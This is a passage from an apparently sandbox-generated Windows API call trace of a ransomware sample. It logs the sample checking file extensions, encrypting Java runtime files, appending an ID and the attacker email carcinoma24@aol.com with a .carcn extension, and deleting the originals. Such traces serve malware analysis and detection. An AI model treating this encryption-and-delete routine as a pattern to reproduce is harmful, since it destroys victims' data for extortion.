Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.404] lstrlenW (lpString=".dbf") returned 4 [0307.404] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.404] lstrlenW (lpString=".1cd") returned 4 [0307.404] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.404] lstrlenW (lpString=".jpg") returned 4 [0307.404] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.404] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0307.404] lstrlenW (lpString="messages_sv.properties") returned 22 [0307.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0307.405] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3409) returned 1 [0307.405] CloseHandle (hObject=0x390) returned 1 [0307.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0307.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0307.405] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.405] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0307.406] GetLastError () returned 0x0 [0307.406] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xd51, lpOverlapped=0x0) returned 1 [0307.407] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xd60, lpOverlapped=0x0) returned 1 [0307.408] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.408] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x100, lpOverlapped=0x0) returned 1 [0307.408] SetEndOfFile (hFile=0x384) returned 1 [0307.408] CloseHandle (hObject=0x384) returned 1 [0307.408] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.408] SetEndOfFile (hFile=0x390) returned 1 [0307.409] CloseHandle (hObject=0x390) returned 1 [0307.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.409] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0307.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.410] lstrlenW (lpString=".doc") returned 4 [0307.410] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.410] lstrlenW (lpString=".docx") returned 5 [0307.410] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.410] lstrlenW (lpString=".pdf") returned 4 [0307.410] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.410] lstrlenW (lpString=".xls") returned 4 [0307.410] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.410] lstrlenW (lpString=".xlsx") returned 5 [0307.410] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.410] lstrlenW (lpString=".ppt") returned 4 [0307.410] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.411] lstrlenW (lpString=".zip") returned 4 [0307.411] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString=".rar") returned 4 [0307.411] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString=".bz2") returned 4 [0307.411] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString=".7z") returned 3 [0307.411] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.411] lstrlenW (lpString=".dbf") returned 4 [0307.411] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.411] lstrlenW (lpString=".1cd") returned 4 [0307.411] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.411] lstrlenW (lpString=".jpg") returned 4 [0307.411] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.411] lstrlenW (lpString=".doc") returned 4 [0307.411] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.411] lstrlenW (lpString=".docx") returned 5 [0307.411] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.411] lstrlenW (lpString=".pdf") returned 4 [0307.411] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString=".xls") returned 4 [0307.412] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString=".xlsx") returned 5 [0307.412] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.412] lstrlenW (lpString=".ppt") returned 4 [0307.412] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.412] lstrlenW (lpString=".zip") returned 4 [0307.412] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString=".rar") returned 4 [0307.412] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString=".bz2") returned 4 [0307.412] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString=".7z") returned 3 [0307.412] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.412] lstrlenW (lpString=".dbf") returned 4 [0307.412] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.412] lstrlenW (lpString=".1cd") returned 4 [0307.412] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0307.412] lstrlenW (lpString=".jpg") returned 4 [0307.412] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.413] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.413] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.413] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0307.413] GetLastError () returned 0x0 [0307.413] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xfe8, lpOverlapped=0x0) returned 1 [0307.414] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xff0, lpOverlapped=0x0) returned 1 [0307.415] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.415] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x106, lpOverlapped=0x0) returned 1 [0307.416] SetEndOfFile (hFile=0x384) returned 1 [0307.416] CloseHandle (hObject=0x384) returned 1 [0307.416] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.416] SetEndOfFile (hFile=0x390) returned 1 [0307.417] CloseHandle (hObject=0x390) returned 1 [0307.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.417] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0307.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0307.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0307.418] lstrlenW (lpString=".doc") returned 4 [0307.418] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.418] lstrlenW (lpString=".docx") returned 5 [0307.418] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.418] lstrlenW (lpString=".pdf") returned 4 [0307.418] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.418] lstrlenW (lpString=".xls") returned 4 [0307.418] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.418] lstrlenW (lpString=".xlsx") returned 5 [0307.418] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.418] lstrlenW (lpString=".ppt") returned 4 [0307.418] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0307.418] lstrlenW (lpString=".zip") returned 4 [0307.418] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.418] lstrlenW (lpString=".rar") returned 4 [0307.418] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.418] lstrlenW (lpString=".bz2") returned 4 [0307.418] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.418] lstrlenW (lpString=".7z") returned 3 [0307.418] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0307.418] lstrlenW (lpString=".dbf") returned 4 [0307.419] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0307.419] lstrlenW (lpString=".1cd") returned 4 [0307.419] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.419] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0307.419] lstrlenW (lpString=".jpg") returned 4 [0307.419] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.419] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.419] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0307.420] GetLastError () returned 0x0 [0307.420] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xea8, lpOverlapped=0x0) returned 1 [0307.421] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xeb0, lpOverlapped=0x0) returned 1 [0307.422] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.422] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x106, lpOverlapped=0x0) returned 1 [0307.422] SetEndOfFile (hFile=0x384) returned 1 [0307.422] CloseHandle (hObject=0x384) returned 1 [0307.422] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.422] SetEndOfFile (hFile=0x390) returned 1 [0307.423] CloseHandle (hObject=0x390) returned 1 [0307.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.423] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0307.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0307.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0307.424] lstrlenW (lpString=".doc") returned 4 [0307.424] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.424] lstrlenW (lpString=".docx") returned 5 [0307.424] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.424] lstrlenW (lpString=".pdf") returned 4 [0307.425] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString=".xls") returned 4 [0307.425] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString=".xlsx") returned 5 [0307.425] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.425] lstrlenW (lpString=".ppt") returned 4 [0307.425] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0307.425] lstrlenW (lpString=".zip") returned 4 [0307.425] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString=".rar") returned 4 [0307.425] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString=".bz2") returned 4 [0307.425] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString=".7z") returned 3 [0307.425] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0307.425] lstrlenW (lpString=".dbf") returned 4 [0307.425] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0307.425] lstrlenW (lpString=".1cd") returned 4 [0307.425] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0307.425] lstrlenW (lpString=".jpg") returned 4 [0307.425] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.426] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.426] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.426] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0307.427] GetLastError () returned 0x0 [0307.427] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xea8, lpOverlapped=0x0) returned 1 [0307.428] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xeb0, lpOverlapped=0x0) returned 1 [0307.429] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.599] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x106, lpOverlapped=0x0) returned 1 [0307.599] SetEndOfFile (hFile=0x384) returned 1 [0307.599] CloseHandle (hObject=0x384) returned 1 [0307.599] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.599] SetEndOfFile (hFile=0x390) returned 1 [0307.604] CloseHandle (hObject=0x390) returned 1 [0307.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.604] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0307.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0307.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0307.605] lstrlenW (lpString=".doc") returned 4 [0307.605] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.605] lstrlenW (lpString=".docx") returned 5 [0307.605] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.605] lstrlenW (lpString=".pdf") returned 4 [0307.605] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.605] lstrlenW (lpString=".xls") returned 4 [0307.605] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.605] lstrlenW (lpString=".xlsx") returned 5 [0307.605] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.605] lstrlenW (lpString=".ppt") returned 4 [0307.605] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.605] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0307.606] lstrlenW (lpString=".zip") returned 4 [0307.606] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.606] lstrlenW (lpString=".rar") returned 4 [0307.606] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.606] lstrlenW (lpString=".bz2") returned 4 [0307.606] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.606] lstrlenW (lpString=".7z") returned 3 [0307.606] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0307.606] lstrlenW (lpString=".dbf") returned 4 [0307.606] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0307.606] lstrlenW (lpString=".1cd") returned 4 [0307.606] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0307.606] lstrlenW (lpString=".jpg") returned 4 [0307.606] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0307.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0307.608] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0x0) returned 1 [0307.608] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0307.608] ReadFile (in: hFile=0x390, lpBuffer=0x3f52058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f52058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0307.836] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0307.836] ReadFile (in: hFile=0x390, lpBuffer=0x3f92058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f92058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0308.001] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0308.001] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0308.001] ReadFile (in: hFile=0x390, lpBuffer=0x3fd2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3fd2058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0308.211] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.211] WriteFile (in: hFile=0x390, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x34ffca8, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, 